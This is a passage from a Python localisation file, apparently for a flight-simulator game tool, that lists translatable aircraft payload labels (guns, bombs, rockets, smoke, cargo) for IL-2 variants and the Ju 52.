HE [300], FAB-50sv [4], RBS-82 [8]'), 48: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], FAB-50sv [6], RBS-82 [8]'), 49: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [6], RBS-82 [8]'), 50: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [6], RBS-82 [8]'), 51: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [6], RBS-82 [8]'), 52: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], FAB-100M [4], RBS-82 [8]'), 53: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-100M [4], RBS-82 [8]'), 54: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-100M [4], RBS-82 [8]'), 55: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-100M [4], RBS-82 [8]'), 56: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], ROFS-132 [8]'), 57: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], ROFS-132 [8]'), 58: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], ROFS-132 [8]'), 59: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], ROFS-132 [8]'), 60: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], FAB-50sv [4], ROFS-132 [8]'), 61: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [4], ROFS-132 [8]'), 62: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [4], ROFS-132 [8]'), 63: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [4], ROFS-132 [8]'), 64: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], FAB-50sv [6], ROFS-132 [8]'), 65: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [6], ROFS-132 [8]'), 66: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [6], ROFS-132 [8]'), 67: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [6], ROFS-132 [8]'), 68: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [420], FAB-100M [2], ROFS-132 [8]'), 69: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-100M [2], ROFS-132 [8]'), 70: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-100M [2], ROFS-132 [8]'), 71: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-100M [2], ROFS-132 [8]'), 72: pgettext_lazy('aircraft_payload', 'Empty'), 73: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 74: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 75: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 76: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 77: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 78: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 79: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 80: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 81: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 82: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 83: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 84: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'il-2 mod.1942': { 0: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500]'), 1: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300]'), 2: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300]'), 3: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300]'), 4: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SH-37 AP/HE [80]'), 5: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SH-37 AP [80]'), 6: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SH-37 HE [80]'), 7: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [4]'), 8: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [4]'), 9: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [4]'), 10: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [4]'), 11: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SH-37 AP/HE [80], FAB-50sv [4]'), 12: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SH-37 AP [80], FAB-50sv [4]'), 13: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SH-37 HE [80], FAB-50sv [4]'), 14: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [6]'), 15: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [6]'), 16: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [6]'), 17: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [6]'), 18: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-100M [4]'), 19: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-100M [4]'), 20: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-100M [4]'), 21: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-100M [4]'), 22: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SH-37 AP/HE [80], FAB-100M [2]'), 23: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SH-37 AP [80], FAB-100M [2]'), 24: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SH-37 HE [80], FAB-100M [2]'), 25: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-100M [6]'), 26: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-100M [6]'), 27: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-100M [6]'), 28: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-100M [6]'), 29: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], ROS-82 [8]'), 30: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], ROS-82 [8]'), 31: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], ROS-82 [8]'), 32: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], ROS-82 [8]'), 33: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SH-37 AP/HE [80], ROS-82 [8]'), 34: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SH-37 AP [80], ROS-82 [8]'), 35: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SH-37 HE [80], ROS-82 [8]'), 36: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [4], ROS-82 [8]'), 37: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [4], ROS-82 [8]'), 38: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [4], ROS-82 [8]'), 39: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [4], ROS-82 [8]'), 40: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [6], ROS-82 [8]'), 41: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [6], ROS-82 [8]'), 42: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [6], ROS-82 [8]'), 43: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [6], ROS-82 [8]'), 44: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-100M [4], ROS-82 [8]'), 45: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-100M [4], ROS-82 [8]'), 46: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-100M [4], ROS-82 [8]'), 47: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-100M [4], ROS-82 [8]'), 48: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-250sv [2]'), 49: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-250sv [2]'), 50: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-250sv [2]'), 51: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-250sv [2]'), 52: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], RBS-82 [8]'), 53: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], RBS-82 [8]'), 54: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], RBS-82 [8]'), 55: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], RBS-82 [8]'), 56: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SH-37 AP/HE [80], RBS-82 [8]'), 57: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SH-37 AP [80], RBS-82 [8]'), 58: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SH-37 HE [80], RBS-82 [8]'), 59: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [4], RBS-82 [8]'), 60: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [4], RBS-82 [8]'), 61: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [4], RBS-82 [8]'), 62: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [4], RBS-82 [8]'), 63: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [6], RBS-82 [8]'), 64: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [6], RBS-82 [8]'), 65: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [6], RBS-82 [8]'), 66: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [6], RBS-82 [8]'), 67: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-100M [4], RBS-82 [8]'), 68: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-100M [4], RBS-82 [8]'), 69: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-100M [4], RBS-82 [8]'), 70: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-100M [4], RBS-82 [8]'), 71: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], ROFS-132 [8]'), 72: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], ROFS-132 [8]'), 73: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], ROFS-132 [8]'), 74: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], ROFS-132 [8]'), 75: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [4], ROFS-132 [8]'), 76: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [4], ROFS-132 [8]'), 77: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [4], ROFS-132 [8]'), 78: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [4], ROFS-132 [8]'), 79: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [6], ROFS-132 [8]'), 80: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [6], ROFS-132 [8]'), 81: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [6], ROFS-132 [8]'), 82: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [6], ROFS-132 [8]'), 83: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-100M [2], ROFS-132 [8]'), 84: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-100M [2], ROFS-132 [8]'), 85: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-100M [2], ROFS-132 [8]'), 86: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-100M [2], ROFS-132 [8]'), 87: pgettext_lazy('aircraft_payload', 'Empty'), 88: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 89: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 90: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 91: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 92: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 93: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 94: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 95: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 96: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 97: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 98: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 99: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'il-2 mod.1943': { 0: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500]'), 1: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300]'), 2: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300]'), 3: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300]'), 4: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], NS-37 AP/HE [100]'), 5: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], NS-37 AP [100]'), 6: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], NS-37 HE [100]'), 7: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [4]'), 8: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [4]'), 9: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [4]'), 10: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [4]'), 11: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], NS-37 AP/HE [100], FAB-50sv [4]'), 12: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], NS-37 AP [100], FAB-50sv [4]'), 13: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], NS-37 HE [100], FAB-50sv [4]'), 14: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [6]'), 15: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [6]'), 16: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [6]'), 17: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [6]'), 18: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-100M [4]'), 19: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-100M [4]'), 20: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-100M [4]'), 21: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-100M [4]'), 22: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], NS-37 AP/HE [100], FAB-100M [2]'), 23: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], NS-37 AP [100], FAB-100M [2]'), 24: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], NS-37 HE [100], FAB-100M [2]'), 25: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-100M [6]'), 26: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-100M [6]'), 27: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-100M [6]'), 28: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-100M [6]'), 29: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], ROS-82 [4]'), 30: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], ROS-82 [4]'), 31: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], ROS-82 [4]'), 32: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], ROS-82 [4]'), 33: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [4], ROS-82 [4]'), 34: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [4], ROS-82 [4]'), 35: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [4], ROS-82 [4]'), 36: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [4], ROS-82 [4]'), 37: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [6], ROS-82 [4]'), 38: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [6], ROS-82 [4]'), 39: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [6], ROS-82 [4]'), 40: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [6], ROS-82 [4]'), 41: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-100M [4], ROS-82 [4]'), 42: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-100M [4], ROS-82 [4]'), 43: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-100M [4], ROS-82 [4]'), 44: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-100M [4], ROS-82 [4]'), 45: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-250sv [2]'), 46: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-250sv [2]'), 47: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-250sv [2]'), 48: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-250sv [2]'), 49: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], RBS-82 [4]'), 50: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], RBS-82 [4]'), 51: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], RBS-82 [4]'), 52: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], RBS-82 [4]'), 53: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [4], RBS-82 [4]'), 54: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [4], RBS-82 [4]'), 55: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [4], RBS-82 [4]'), 56: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [4], RBS-82 [4]'), 57: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [6], RBS-82 [4]'), 58: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [6], RBS-82 [4]'), 59: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [6], RBS-82 [4]'), 60: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [6], RBS-82 [4]'), 61: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-100M [4], RBS-82 [4]'), 62: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-100M [4], RBS-82 [4]'), 63: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-100M [4], RBS-82 [4]'), 64: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-100M [4], RBS-82 [4]'), 65: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], ROFS-132 [4]'), 66: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], ROFS-132 [4]'), 67: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], ROFS-132 [4]'), 68: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], ROFS-132 [4]'), 69: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [4], ROFS-132 [4]'), 70: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [4], ROFS-132 [4]'), 71: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [4], ROFS-132 [4]'), 72: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [4], ROFS-132 [4]'), 73: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-50sv [6], ROFS-132 [4]'), 74: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-50sv [6], ROFS-132 [4]'), 75: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-50sv [6], ROFS-132 [4]'), 76: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-50sv [6], ROFS-132 [4]'), 77: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], FAB-100M [2], ROFS-132 [4]'), 78: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], FAB-100M [2], ROFS-132 [4]'), 79: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], FAB-100M [2], ROFS-132 [4]'), 80: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], FAB-100M [2], ROFS-132 [4]'), 81: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], PTAB-2.5-1.5 [192]'), 82: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], PTAB-2.5-1.5 [192]'), 83: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], PTAB-2.5-1.5 [192]'), 84: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], PTAB-2.5-1.5 [192]'), 85: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], PTAB-2.5-1.5 [192], ROS-82 [4]'), 86: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], PTAB-2.5-1.5 [192], ROS-82 [4]'), 87: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], PTAB-2.5-1.5 [192], ROS-82 [4]'), 88: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], PTAB-2.5-1.5 [192], ROS-82 [4]'), 89: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], PTAB-2.5-1.5 [192], RBS-82 [4]'), 90: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], PTAB-2.5-1.5 [192], RBS-82 [4]'), 91: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], PTAB-2.5-1.5 [192], RBS-82 [4]'), 92: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], PTAB-2.5-1.5 [192], RBS-82 [4]'), 93: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], PTAB-2.5-1.5 [192], ROFS-132 [4]'), 94: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], PTAB-2.5-1.5 [192], ROFS-132 [4]'), 95: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], PTAB-2.5-1.5 [192], ROFS-132 [4]'), 96: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], PTAB-2.5-1.5 [192], ROFS-132 [4]'), 97: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], SHVAK AP/HE [500], PTAB-2.5-1.5 [240]'), 98: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP/HE [300], PTAB-2.5-1.5 [240]'), 99: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 AP [300], PTAB-2.5-1.5 [240]'), 100: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], VYA-23 HE [300], PTAB-2.5-1.5 [240]'), 101: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], NS-37 AP/HE [100], PTAB-2.5-1.5 [120]'), 102: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], NS-37 AP [100], PTAB-2.5-1.5 [120]'), 103: pgettext_lazy('aircraft_payload', 'SHKAS AP [1500], NS-37 HE [100], PTAB-2.5-1.5 [120]'), 104: pgettext_lazy('aircraft_payload', 'Empty'), 105: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 106: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 107: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 108: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 109: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 110: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 111: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 112: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 113: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 114: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 115: pgettext_lazy('aircraft_payload', 'Black Smoke [1]'), 116: pgettext_lazy('aircraft_payload', 'Black Smoke [2]'), }, 'ju 52 3mg4e': { 0: pgettext_lazy('aircraft_payload', 'Cargo [2300]'), 1: pgettext_lazy('aircraft_payload', 'MAB 250 [10]'), 2: pgettext_lazy('aircraft_payload', 'Paratroopers [12]'), 3: pgettext_lazy('aircraft_payload', 'Empty'), 4: pgettext_lazy('aircraft_payload', 'White Smoke [1]'), 5: pgettext_lazy('aircraft_payload', 'White Smoke [2]'), 6: pgettext_lazy('aircraft_payload', 'Blue Smoke [1]'), 7: pgettext_lazy('aircraft_payload', 'Blue Smoke [2]'), 8: pgettext_lazy('aircraft_payload', 'Red Smoke [1]'), 9: pgettext_lazy('aircraft_payload', 'Red Smoke [2]'), 10: pgettext_lazy('aircraft_payload', 'Green Smoke [1]'), 11: pgettext_lazy('aircraft_payload', 'Green Smoke [2]'), 12: pgettext_lazy('aircraft_payload', 'Yellow Smoke [1]'), 13: pgettext_lazy('aircraft_payload', 'Yellow Smoke [2]'), 14: 